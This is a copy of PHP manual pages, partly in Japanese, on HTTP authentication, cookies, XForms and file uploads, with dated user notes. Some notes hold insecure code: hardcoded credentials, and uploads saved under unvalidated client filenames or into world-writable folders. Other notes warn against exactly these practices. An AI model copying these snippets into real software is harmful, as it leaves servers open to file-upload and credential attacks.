       (!isset($_SERVER['PHP_AUTH_USER']))
    ||(
           ($_GET["login"]=="login")
    && !(
             ($_SERVER['PHP_AUTH_USER']=="validuser")
             && ($_SERVER['PHP_AUTH_PW']=="validpass")
           )
        )
    ||(
           ($_GET["logout"]=="logout")
     && !($_SERVER['PHP_AUTH_PW']=="")
        )
     ) {
Header("WWW-Authenticate: Basic realm=\"Realm\"");
Header("HTTP/1.0 401 Unauthorized");
echo "Not logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
} else if ($_SERVER['PHP_AUTH_PW']=="") {
echo "Logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
}
?>
najprogramato at post dot sk 27-Apr-2004 05:08
Don't use apache authentification in plain text. Is more better to use own script to generete new ID which is relevant to password. Apache auth data are sent to every page, so the posible mistake are known.
rob at theblip dot com 03-Mar-2004 08:47
Regarding HTTP authentication in IIS with the php cgi 4.3.4, there's one more step. I searched mightily and didn't find this information anywhere else, so here goes. When using HTTP auth with the php CGI, you need to do the following things:

1. In your php.ini file, set "cgi.rfc2616_headers = 0"

2. In Web Site Properties -> File/Directory Security -> Anonymous Access dialog box, check the "Anonymous access" checkbox and uncheck any other checkboxes (i.e. uncheck "Basic authentication," "Integrated Windows authentication," and "Digest" if it's enabled.) Click OK.

3. In "Custom Errors", select the range of "401;1" through "401;5" and click the "Set to Default" button.

It's this last step that is crucial, yet not documented anywhere. If you don't, instead of the headers asking for credentials, IIS will return its own fancy but useless 'you are not authenticated' page. But if you do, then the browser will properly ask for credentials, and supply them in the $_SERVER['PHP_AUTH_*'] elements.
Paul 08-Nov-2003 03:53
Here is a extremely easy way to successfully logout.

<?php
if ( $realm == '' )
$realm = mt_rand( 1, 1000000000 );
    header( 'WWW-Authenticate: Basic realm='.$realm );
?>

To log the user out simply change the value of $realm
emmanuel dot keller at net2000 dot ch 14-Jan-2003 02:14
Some servers won't support the HTTP1.0 specification and will give an error 500 (for instance). This happened with a server where I uploaded an authentication script.

If it happens, you can try the HTTP1.1 header syntax :

<?php
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header('status: 401 Unauthorized');
?>
sjeffrey at inquesis dot com 29-Jan-2002 03:00
To get it to work with IIS try using this code before setting your "$auth = 0" and the "if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW))"

<?php
//////////////////////////////////////////

if ($PHP_AUTH_USER == "" && $PHP_AUTH_PW == "" && ereg("^Basic ", $HTTP_AUTHORIZATION))
{
  list($PHP_AUTH_USER, $PHP_AUTH_PW) =
    explode(":", base64_decode(substr($HTTP_AUTHORIZATION, 6)));
}

//////////////////////////////////////////
?>

It worked for me on IIS 5 and PHP 4 in ISAPI


クッキー(Cookies)

PHP は、HTTP クッキー(Cookie)を完全にサポートします。 クッキーは、リモートブラウザに文字列データを保存したり、 再訪するユーザーを特定したりする機構です。 setcookie() か setrawcookie() を使用してクッキーをセットすることができます。 クッキーは HTTP ヘッダの一部なので、 setcookie() はブラウザに何らかの出力を行う前にコールする必要があります。 この制約は、header() に課されているものと同じです。 また、 出力バッファ関数を使用して、 設定するクッキーや送信するヘッダの内容が決まるまで スクリプトからの出力を遅らせることが出来ます。

もし variables_order が "C" を含んでいる場合、クライアントからサーバーへ送られた全てのクッキーは 自動的に $_COOKIE という（常にグローバルな）配列に格納されます。 多数の値を一つのクッキーに割り付けたい場合は、[] をクッキー名に加えてください。

ちょっとした注意やブラウザのバグといった詳細に関しては、 setcookie() と setrawcookie() を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


セッション

PHPのセッションサポートは、連続するアクセスを通じて特定のデータを保持する 手段を構成します。この機能により、よりカスタマイズされたアプリケーション の構築が可能となり、Webサイトをより魅力的なものにすることができます。 詳細な情報は、 セッションに関するリファレンス のセクションにあります。

User Contributed Notes

There are no user contributed notes for this page.


XFormsの処理

» XForms は、従来のWebフォームから 派生したもので、広範なプラットフォームやブラウザそしてPDFドキュメントのような 従来のメディア以外のものにすら使用することができます。

xformsのまず第一の違いは、クライアントへフォームを送信する方法です。 » HTML作成者のためのXForms には、XFormsの作成方法の詳細な解説がありますが、この手引きの趣旨に沿って、 ここでは簡単な例のみ示すことにします。

例1 簡単なXForms検索フォーム

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

上のフォームは、(qという名前の),テキスト入力ボックス と投稿ボタンを表示します。投稿ボタンがクリックされた時、このフォームは actionが参照するページに送信されます。

ここからが、Webアプリケーションの視点から異なって見え始めるところです。 通常のHTMLフォームでは、データは、 application/x-www-form-urlencoded で送信されますが、XFormsでは、この情報は XML 形式のデータで送信されます。

XFormsで処理することを選択した場合には、おそらくデータを XML 形式で取得したいはずで、この場合、$HTTP_RAW_POST_DATA により、 ブラウザが生成した XML ドキュメントにアクセスすることができます。このデータは、使用する XSLT エンジンやドキュメントパーサに渡すことができます。

データ形式には関心がなく、データを従来の データ形式には関心がなく、データを従来の $_POST変数に ロードしたいだけの場合、 method 属性を urlencoded-post に変更することにより、 クライアントブラウザに application/x-www-form-urlencoded としてデータを送信するよう指示することができます。

例2 XFormにより$_POSTを送信する

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="urlencoded-post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

注意: 本稿執筆時点で、多くのブラウザはXFormsをサポートしていません。 上の例が失敗する場合、ブラウザのバージョンを確認してください。

User Contributed Notes

contact at jimmajammalulu dot com 15-Sep-2020 07:56
According to MDN XForms has long been obsolete.
Darkener Daemon EX 13-Feb-2006 09:21
"php://stdin" doesn't exist in my PHP version. I use the following code block instead :
<?php
if (!isset($HTTP_RAW_POST_DATA))
    $HTTP_RAW_POST_DATA = file_get_contents("php://input");
?>
OrionI 07-Jul-2005 11:33
FireFox has an XForms plugin that works with the latest nightly builds. Check out http://www.mozilla.org/projects/xforms/ for more info. For IE support, there's an ActiveX control from Novell (http://developer.novell.com/xforms/) and one from x-port.net (http://www.formsplayer.com/).

There's also a JavaScript-based one coming out called FormFaces which looks very promising, especially since there are no plugins required and it works in IE, FF, and Opera: http://www.formfaces.com/
lphuberdeau at phpquebec dot org 20-Aug-2004 09:55
Since HTTP_RAW_POST_DATA requires a configuration to be generated and is not enabled as a default value, you will probably have to use the PHP STDIN stream to get the raw data. It's probably better to use this method as the raw data will not be generated every time, even when not needed.

<?php
$fp = fopen( "php://stdin", "r" );
$data = '';
while( !feof( $fp ) )
    $data .= fgets( $fp );
fclose( $fp );
?>


ファイルアップロードの処理

目次

  • POST メソッドによるアップロード
  • エラーメッセージの説明
  • 陥りやすい落とし穴
  • 複数ファイルのアップロード
  • PUT メソッドのサポート
  • 参考

User Contributed Notes

shubhamtakode at gmail dot com 07-Dec-2014 05:04
// code for handling simple http uploads

<?php
//properties of the uploaded file
$name= $_FILES["myfile"]["name"];
$type= $_FILES["myfile"]["type"];
$size= $_FILES["myfile"]["size"];
$temp= $_FILES["myfile"]["temp_name"];
$error= $_FILES["myfile"]["error"];

if ($error > 0)
    die("Error uploading file! code $error.");
else
   {
    if($type=="image/png" || $size > 2000000)//condition for the file
    {
    die("Format  not allowed or file size too big!");
    }
    else
    {
     move_uploaded_file($temp, "uploaded/" .$name);
     echo "Upload complete!";
     }
}

?>
CertaiN 29-Dec-2013 11:09
You'd better check $_FILES structure and values throughly.
The following code cannot cause any errors absolutely.

Example:
<?php

header('Content-Type: text/plain; CHARSET=shift-jis');

try {

    // Undefined | Multiple Files | $_FILES Corruption Attack
    // If this request falls under any of them, treat it invalid.
    if (
        !isset($_FILES['upfile']['error']) ||
        is_array($_FILES['upfile']['error'])
    ) {
        throw new RuntimeException('Invalid parameters.');
    }

    // Check $_FILES['upfile']['error'] value.
    switch ($_FILES['upfile']['error']) {
        case UPLOAD_ERR_OK:
            break;
        case UPLOAD_ERR_NO_FILE:
            throw new RuntimeException('No file sent.');
        case UPLOAD_ERR_INI_SIZE:
        case UPLOAD_ERR_FORM_SIZE:
            throw new RuntimeException('Exceeded filesize limit.');
        default:
            throw new RuntimeException('Unknown errors.');
    }

    // You should also check filesize here.
    if ($_FILES['upfile']['size'] > 1000000) {
        throw new RuntimeException('Exceeded filesize limit.');
    }

    // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!
    // Check MIME Type by yourself.
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (false === $ext = array_search(
        $finfo->file($_FILES['upfile']['tmp_name']),
        array(
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'gif' => 'image/gif',
        ),
        true
    )) {
        throw new RuntimeException('Invalid file format.');
    }

    // You should name it uniquely.
    // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!
    // On this example, obtain safe unique name from its binary data.
    if (!move_uploaded_file(
        $_FILES['upfile']['tmp_name'],
        sprintf('./uploads/%s.%s',
            sha1_file($_FILES['upfile']['tmp_name']),
            $ext
        )
    )) {
        throw new RuntimeException('Failed to move uploaded file.');
    }

    echo 'File is uploaded successfully.';

} catch (RuntimeException $e) {

    echo $e->getMessage();

}

?>
jan at lanteraudio dot nl 25-Feb-2013 01:31
Also stumbled on the max_file_size problem, in particular getting no response, no error whatsoever when uploading a file bigger than the set upload_max_filesize.

I found that it's not the upload_max_filesize setting, but instead the post_max_size setting causing this no response issue. So if you set post_max_size way larger than upload_max_filesize, at least you are likely to get an error response when filesize exceeds upload_max_filesize but is still within the limits of post_max_size.

Hope this helps anyone.
Thomas 22-Jul-2012 06:08
MIME type can be faked.

VVV

$_FILES['userfile']['type']

The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.

http://www.php.net/manual/en/features.file-upload.post-method.php

[Editor's note: removed a reference to a deleted note, and edited the note to make sense by itself.]
xmontero at dsitelecom dot com 06-Feb-2012 10:23
If "large files" (ie: 50 or 100 MB) fail, check this:

It may happen that your outgoing connection to the server is slow, and it may timeout not the "execution time" but the "input time", which for example in our system defaulted to 60s. In our case a large upload could take 1 or 2 hours.

Additionally we had "session settings" that should be preserved after upload.

1) You might want review those ini entries:

* session.gc_maxlifetime
* max_input_time
* max_execution_time
* upload_max_filesize
* post_max_size

2) Still fails? Caution, not all are changeable from the script itself. ini_set() might fail to override.

More info here:
http://www.php.net/manual/es/ini.list.php

You can see that the "upload_max_filesize", among others, is PHP_INI_PERDIR and not PHP_INI_ALL. This invalidates to use ini_set():
http://www.php.net/manual/en/configuration.changes.modes.php

Use .htaccess instead.

3) Still fails?. Just make sure you enabled ".htaccess" to overwrite your php settings. This is made in the apache file. You need at least AllowOverride Options.

See this here:
http://www.php.net/manual/en/configuration.changes.php

You will necessarily allow this manually in the case your master files come with AllowOverride None.

Conclussion:

Depending on the system, to allow "large file uploads" you must go up and up and up and touch your config necessarily up to the apache config.

Sample files:

These work for me, for 100MB uploads, lasting 2 hours:

In apache-virtual-host:
-----------------------------------------------------------
<Directory /var/www/MyProgram>
    AllowOverride Options
</Directory>
-----------------------------------------------------------

In .htaccess:
-----------------------------------------------------------
php_value session.gc_maxlifetime 10800
php_value max_input_time         10800
php_value max_execution_time     10800
php_value upload_max_filesize    110M
php_value post_max_size          120M
-----------------------------------------------------------

In the example,
- As I last 1 to 2 hours, I allow 3 hours (3600x3)
- As I need 100MB, I allow air above for the file (110M) and a bit more for the whole post (120M).
Phil Ciebiera 17-Sep-2009 01:54
On a Microsoft platform utilizing IIS, you may run into a situation where, upon moving the uploaded file, anonymous web users can't access the content without being prompted to authenticate first...

The reason for this is, the uploaded file will inherit the permissions of the directory specified in the directive upload_tmp_dir of php.ini.  If this directive isn't set, the default of C:\Windows\Temp is used.

You can work around this by granting the IUSR_[server name] user read access to your temporary upload directory, so that after you move_uploaded_file the permissions will already be set properly.

It's also a good idea to set the Execute Permissions of the upload directory to NOT include Executables, for security reasons.
To accomplish this:
-Open the IIS Manager
-Browse to the relevant sites directory where the uploads will be placed
-Right Click the folder and select Properties
-In the Directory tab of the resulting dialog, set the Execute permissions to be None

This took me a while to figure out, so I hope this helps save some other peoples time.
info at levaravel dot com 30-Jan-2009 07:39
A little codesnippet which returns a filesize in a more legible format.

<?php

function display_filesize($filesize){

    if(is_numeric($filesize)){
    $decr = 1024; $step = 0;
    $prefix = array('Byte','KB','MB','GB','TB','PB');

    while(($filesize / $decr) > 0.9){
        $filesize = $filesize / $decr;
        $step++;
    }
    return round($filesize,2).' '.$prefix[$step];
    } else {

    return 'NaN';
    }

}

?>
damien from valex 04-Jan-2009 05:53
This is simpler method of checking for too much POST data (alternative to that by v3 from sonic-world.ru).

<?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST) && $_SERVER['CONTENT_LENGTH'] > 0) {
        throw new Exception(sprintf('The server was unable to handle that much POST data (%s bytes) due to its current configuration', $_SERVER['CONTENT_LENGTH']));
    }
?>
rnagavel at yahoo dot com dot au 25-Nov-2008 01:10
If $_FILES is always empty, check the method of your form.
It should be POST. Default method of a form is GET.

<form action="myaction.php">
 <input type="file" name"userfile">
</form>
File will not be uploaded as default method of the form is GET.

<form action="myaction.php" method="POST">
 <input type="file" name"userfile">
</form>
Files will be uploaded and $_FILES will be populated.
jahajee 29-Apr-2008 04:27
hi , i was having difficulty with the upload_max_filesize , if u set the max file size lesser than the php setting then ur script to report error will only work till this difference between ur max set file size and the php set max size .Hence if the uploaded file exceeds the php max file size then php end abruptly without a trace of error that is it behaves like no file is uploaded and hence no error reported .Sure if uploading a file is optional for a form then a user who uploads larger file will get no error and still the form will be processed only without the file.
The method of using GET can't be used for optional uploads. Can't find help even in the bugs .Be careful with optional uploads.
jahajee
Rob 24-Apr-2008 01:07
You should not have any directories within your website root that has the permissions required for file upload.  If you are going to do a file upload, I recommend you use the PHP FTP Functions in conjunction with your file field, that way the files are transferred to a remote FTP location separate from your server.
ragtime at alice-dsl dot com 24-Sep-2007 08:55
I don't believe the myth that 'memory_size' should be the size of the uploaded file. The files are definitely not kept in memory... instead uploaded chunks of 1MB each are stored under /var/tmp and later on rebuild under /tmp before moving to the web/user space.

I'm running a linux-box with only 64MB RAM, setting the memory_limit to 16MB and uploading files of sizes about 100MB is no problem at all! Nevertheless, some users reported a problem at a few 100MB, but that's not confirmed... ;-)

The other sizes in php.ini are set to 1GB and the times to 300... maybe the execution_time limits before, since the CPU is just a 233MHz one... :-)

====

OK,... I got it... finally!

If some of you have also problems uploading large files but the usual sizes/times in php.ini are ok, please check

    session.gc_maxlifetime

when you are using session management with your upload script!

The default value is 1440 which is just 24min... so with only 600kbit/s upload rate the session will be closed automatically after uploading
about 100MB. Actually you are able to upload more, but the file won't be copied from the temporary to the destination folder... ;-)

You can set the value also directly inside the php-script via
<?php ini_set("session.gc_maxlifetime","10800"); ?>
svenr at selfhtml dot org 23-Apr-2007 03:13
Clarification on the MAX_FILE_SIZE hidden form field:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
jedi_aka at yahoo dot com 18-Oct-2006 12:12
For those of you trying to make the upload work with IIS on windows XP/2000/XP Media and alike here is a quick todo.

1) Once you have created subdirectories "uploads/"  in the same directory wher you code is running use the code from oportocala above and to make absolutely sure sure that the file you are trying to right is written under that folder. ( I recomend printing it using echo $uploadfile; )

2) In windows explorer browse to the upload directory created above and share it. To do that execute the following substeps.
     a) Right click the folder click "sharing and security..."
     b) Check 'Share this folder on the network'
     c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT )
     d) click 'ok' or 'apply'

3) you can then go in the IIS to set read and write permissions for it. To do that execute the followin substeps.
     a) Open IIS (Start/Controp Panel (classic View)/ Admistrative tools/Internet Information Service
     b) Browse to your folder (the one we created above)
     c) right click and select properties.
     d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY BROWSING are checked.
     e) For the security freaks out there, You should also make sure that 'execute permissions:' are set to Script only or lower (DO NOT SET IT TO 'script and executable)'( that is because someone could upload a script to your directory and run it. And, boy, you do not want that to happen).

there U go.

Send me feed back it if worked for you or not so that I can update the todo.

jedi_aka@yahoo.com

PS: BIG thanks to oportocala
david at cygnet dot be 12-May-2006 05:14
If you are experiencing problems posting files from Internet Explorer to a PHP script over an SSL connection, for instance "Page can not be displayed" or empty $_FILES and $_POST arrays (described by jason 10-Jan-2006 02:08), then check out this microsoft knowledgebase article:

http://support.microsoft.com/?kbid=889334

This knowledgebase article explains how since service pack 2 there may be problems posting from IE over SSL. It is worth checking whether your problem is IE specific since this is definitely not a PHP problem!
geert dot php at myrosoft dot com 23-Dec-2005 12:16
When file names do contain single quote parts of the filename are being lost.
eg.: uploading a filename
      startName 'middlepart' endName.txt
will be uploaded (and hence stored in the _Files ['userfile'] variable as
      endName.txt
skipping everything before the second single quote.
djot at hotmail dot com 27-Nov-2005 02:02
-
Be carefull with setting max_file_size via
<?php ini_get('upload_max_filesize'); ?>

ini_get might return values like "2M" which will result in non working uploads.

This was the "no no" in my case:

<?php
$form = '<input type="hidden" name="MAX_FILE_SIZE" value=".ini_get('upload_max_filesize')." />';
?>

Files were uploaded to the server, but than there was not any upload information, not even an error message. $_FILES was completly empty.

djot
-
mariodivece at bytedive dot com 24-Aug-2005 11:33
Just wanted to point out a detail that might be of interest to some:

when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times. There is a nicer way of storing the data directly. Try the following:

<?php $data = mysql_real_escape_string($data); ?>

This will leave the data untouched and formatted in the correct way and ready to be inserted right into a MySQL statement without wasting space.

By the way, I'd like to thank therebechips for his excellent advice on data chunks.
warwickbarnes at yahoo dot co dot uk 18-Aug-2005 04:58
You may come across the following problem using PHP on Microsoft IIS: getting permission denied errors from the move_uploaded_file function even when all the folder permissions seem correct. I had to set the following to get it to work:

1. Write permissions on the the folder through the IIS management console.
2. Write permissions to IUSR_'server' in the folder's security settings.
3. Write permissions to "Domain Users" in the folder's security settings.

The third setting was required because my application itself lives in a secure folder - using authentication (either Basic or Windows Integrated) to identify the users. When the uploads happen IIS seems to be checking that these users have write access to the folder, not just whether the web server (IUSR_'server') has access.

Also, remember to set "Execute Permissions" to "None" in the IIS management console, so that people can't upload a script file and then run it. (Other checks of the uploaded file are recommended as well but 'Execute None' is a good start.)
myko AT blue needle DOT com 16-Aug-2005 09:13
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On.  Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly.  Turning zlib compression to OFF seems to solve the issue.  Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one.
keith at phpdiary dot org 24-May-2005 04:14
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised.  I'll show you why below:

The manual (if you scroll above) states: $_FILES['userfile']['type'] -  The mime type of the file, if the browser provided this information. An example would be "image/gif".

Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported!

So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image".

My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images.  Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so)
ceo at l-i-e dot com 19-May-2005 08:25
Using /var/www/uploads in the example code is just criminal, imnsho.

One should *NOT* upload untrusted files into your web tree, on any server.

Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there!

The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format.
B. It can be forged, so it's crappy security anyway.

One's code should INSPECT the actual file to see if it looks kosher.

For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image.  That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file.

For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect.

I've had trouble in the past with reading the '/tmp' file in a file upload.  It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file.  Fine.   One should move the uploaded file to some staging directory.  Then you check out its contents as thoroughly as you can.  THEN, if it seems kosher, move it into a directory outside your web tree.  Any access to that file should be through a PHP script which reads the file.  Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho.

There are more than a few User Contributed notes here with naive (bad) advice.  Be wary.
robpet at tds dot net 02-Apr-2005 10:35
People have remarked that incorrect permissions on the upload directory may prevent photos or other files from uploading.  Setting the Apache owner of the directory incorrectly will also prevent files from uploading -- I use a PHP script that creates a directory (if it doesn't exist already) before placing an uploaded file into it.  When the script creates the directory and then copies the uploaded file into the directory there is no problem because the owner of the file is whatever Apache is running as, typically "nobody". However, lets say that I've moved the site to a new server and have copied over existing file directories using FTP.  In this case the owner will have a different name from the Apache owner and files will not upload. The solution is to TelNet into the site and reset the owner to "nobody" or whatever Apache is running as using the CHOWN command.
Leevi at izilla dot com dot au 08-Feb-2005 10:52
This may help a newbie to file uploads.. it took advice from a friend to fix it..

If you are using
-windows xp
-iis 5
-php 5

If you keep getting permission errors on file uploads... and you have sworn you set the permissions to write to the directory in iis...

double check that
a) in windows explorer under tools > folder options
click the view tab
scroll down all the way to "use simple file sharing (recommended)"
uncheck this box

b) find the folder you wish to upload to on your server
c) click properties and then the security tab
d) make sure the appropriate write settings are checked.

you may want to test by setting "everyone" to have full permission....

BEWARE doing this will open up big security holes on your server....

hope this helps

Leevi Graham
Tyfud 07-Jan-2005 08:44
It's important to note that when using the move_uploaded_file() command, that some configurations (Especially IIS) will fail if you prefix the destination path with a leading "/". Try the following:

<?php move_uploaded_file($tmpFileName,'uploads/'.$fileName); ?>

Setting up permissions is also a must. Make sure all accounts have write access to your upload directory, and read access if you wish to view these files later. You might have to chmod() the directory or file afterwards as well if you're still getting access errors.
therhinoman at hotmail dot com 27-Aug-2004 01:20
If your upload script is meant only for uploading images, you can use the image function getimagesize() (does not require the GD image library) to make sure you're really getting an image and also filter image types.

<?php getimagesize($file); ?>

...will return false if the file is not an image or is not accessable, otherwise it will return an array...

<?php
$file = 'somefile.jpg';

# assuming you've already taken some other
# preventive measures such as checking file
# extensions...

$result_array = getimagesize($file);

if ($result_array !== false) {
    $mime_type = $result_array['mime'];
    switch($mime_type) {
        case "image/jpeg":
            echo "file is jpeg type";
            break;
        case "image/gif":
            echo "file is gif type";
            break;
        default:
            echo "file is an image, but not of gif or jpeg type";
    }
} else {
    echo "file is not a valid image file";
}
?>

using this function along with others mentioned on this page, image ploading can be made pretty much fool-proof.

See http://php.net/manual/en/function.getimagesize.php for supported image types and more info.
olijon, iceland 18-Jun-2004 08:24
When uploading large images, I got a "Document contains no data" error when using Netscape and an error page when using Explorer. My server setup is RH Linux 9, Apache 2 and PHP 4.3.

I found out that the following entry in the httpd.conf file was missing:

<Files *.php>
  SetOutputFilter PHP
  SetInputFilter PHP
  LimitRequestBody 524288 (max size in bytes)
</Files>

When this had been added, everything worked smoothly.

- Oli Jon, Iceland
steve dot criddle at crd-sector dot com 16-Apr-2004 11:43
IE on the Mac is a bit troublesome.  If you are uploading a file with an unknown file suffix, IE uploads the file with a mime type of "application/x-macbinary".  The resulting file includes the resource fork wrapped around the file.  Not terribly useful.

The following code assumes that the mime type is in $type, and that you have loaded the file's contents into $content.  If the file is in MacBinary format, it delves into the resource fork header, gets the length of the data fork (bytes 83-86) and uses that to get rid of the resource fork.

(There is probably a better way to do it, but this solved my problem):

<?php
if ($type == 'application/x-macbinary') {
    if (strlen($content) < 128) die('File too small');
    $length = 0;
    for ($i=83; $i<=86; $i++) {
        $length = ($length * 256) + ord(substr($content,$i,1));
          }
    $content = substr($content,128,$length);
}
?>
~caetin~ ( at ) ~hotpop~ ( dot ) ~com~ 10-Feb-2004 08:37
From the manual:

     If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

As of PHP 4.2.0, the "none" is no longer a reliable determinant of no file uploaded. It's documented if you click on the "error codes" link, but you need to look at the $_FILES['your_file']['error']. If it's 4, then no file was selected.
maya_gomez ~ at ~ mail ~ dot ~ ru 06-Feb-2004 05:20
when you upload the file, $_FILES['file']['name'] contains its original name converted into server's default charset.
if a name contain characters that aren't present in default charset, the conversion fails and the $_FILES['file']['name'] remains in original charset.

i've got this behavior when uploading from a windows-1251 environment into koi8-r. if a filename has the number sign "?" (0xb9), it DOES NOT GET CONVERTED as soon as there is no such character in koi8-r.

Workaround i use:

<?php
if (strstr ($_FILES['file']['name'], chr(0xb9)) != "")
{
    $_FILES['file']['name'] = iconv (
        "windows-1251",
        "koi8-r",
        str_replace (chr(0xb9), "N.", $_FILES['file']['name']));
};
?>
garyds at miraclemedia dot ca 15-Mar-2003 06:12
As it has been mentioned, Windows-based servers have trouble with the path to move the uploaded file to when using move_uploaded_file()... this may also be the reason copy() works and not move_uploaded_file(), but of course move_uploaded_file() is a much better method to use. The solution in the aforementioned note said you must use "\\" in the path, but I found "/" works as well. So to get a working path, I used something to the effect of:

"g:/rootdir/default/www/".$_FILES['userfile']['name']

...which worked like a charm.

I am using PHP 4.3.0 on a win2k server.

Hope this helps!
am at netactor dot NO_SPAN dot com 14-Mar-2002 10:20
Your binary files may be uploaded incorrectly if you use modules what recode characters. For example, for Russian Apache, you should use
<Files ScriptThatReceivesUploads.php>
CharsetDisable On
</Files>


POST メソッドによるアップロード

この機能により、テキスト、バイナリファイルの両方をアップロードできるように なります。 PHP の認証機構およびファイル操作関数を用いて、アップロードを許可する ユーザーとアップロード後にそのファイルを使用して行う動作を完全に制御する ことが可能です。

PHP は、全ての RFC-1867 対応ブラウザからファイルのアップロードを 受けることができます。

注意: 関係する設定に関する注記

php.iniの file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size, max_input_time ディレクティブも参照ください。

PHP は Netscape Composer および W3C の Amaya クライアントにより使用される PUT メソッドによるファイルアップロードもサポートしています。詳細は、PUT メソッドのサポート を参照ください。

例1 ファイルアップロード用のフォーム

ファイルアップロード画面は、次のような特別なフォームを作成すること により、作成することができます。

<!-- データのエンコード方式である enctype は、必ず以下のようにしなければなりません -->
<form enctype="multipart/form-data" action="__URL__" method="POST">
    <!-- MAX_FILE_SIZE は、必ず "file" input フィールドより前になければなりません -->
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    <!-- input 要素の name 属性の値が、$_FILES 配列のキーになります -->
    このファイルをアップロード: <input name="userfile" type="file" />
    <input type="submit" value="ファイルを送信" />
</form>

上の例の __URL__ は、PHP ファイルを指すよう置換される 必要があります。

"MAX_FILE_SIZE" hidden フィールドは、 "file" input フィールドの前に置く必要があります。 この値は、PHP で取得可能なファイルの最大サイズを規定します。この値はバイト数で指定します。 MAX_FILE_SIZE は常に指定しておくべきです。 巨大なファイルを転送しようとして長時間待ち続け、 結局ファイルが大きすぎて転送できなかったなどといった羽目に陥るのを防げるからです。 注意: ブラウザ側でこの最大値を出し抜くのは簡単なことなので、この機能を信頼して、 これより大きなサイズのファイルがブロックされることを前提にしてはいけません。 しかし、PHP 側の最大サイズの設定を欺くことはできません。

注意:

アップロード用のフォームが enctype="multipart/form-data" 属性を有しているかを 確認してください。さもないと、ファイルのアップロードは動作しません。

グローバルの $_FILES には、アップロードされたファイルの情報が含まれます。 サンプルのフォームからの内容は次のようになります。ここでは、上の例のスクリプトで使われたように、 アップロードファイルの名前として userfile を 使用することを仮定していることに注意してください。 実際にはどんな名前にすることもできます。

$_FILES['userfile']['name']

クライアントマシンの元のファイル名。

$_FILES['userfile']['type']

ファイルの MIME 型。ただし、ブラウザがこの情報を提供する場合。 例えば、"image/gif" のようになります。 この MIME 型は PHP 側ではチェックされません。そのため、 この値は信用できません。

$_FILES['userfile']['size']

アップロードされたファイルのバイト単位のサイズ。

$_FILES['userfile']['tmp_name']

アップロードされたファイルがサーバー上で保存されているテンポラ リファイルの名前。

$_FILES['userfile']['error']

このファイルアップロードに関する エラーコード

php.ini の upload_tmp_dir ディレクティブで 他の場所を指定しない限り、ファイルはサーバーにおけるデフォルトの テンポラリディレクトリに保存されます。サーバーのデフォルトディレクトリは、 PHP を実行する環境において環境変数 TMPDIR を設定する ことにより変更することができます。しかし、PHP スクリプトの内部から putenv() 関数により設定しても上手くいきません。 この環境変数は、アップロードされたファイルに他の処理を行う際にも 同様に使用することが可能です。

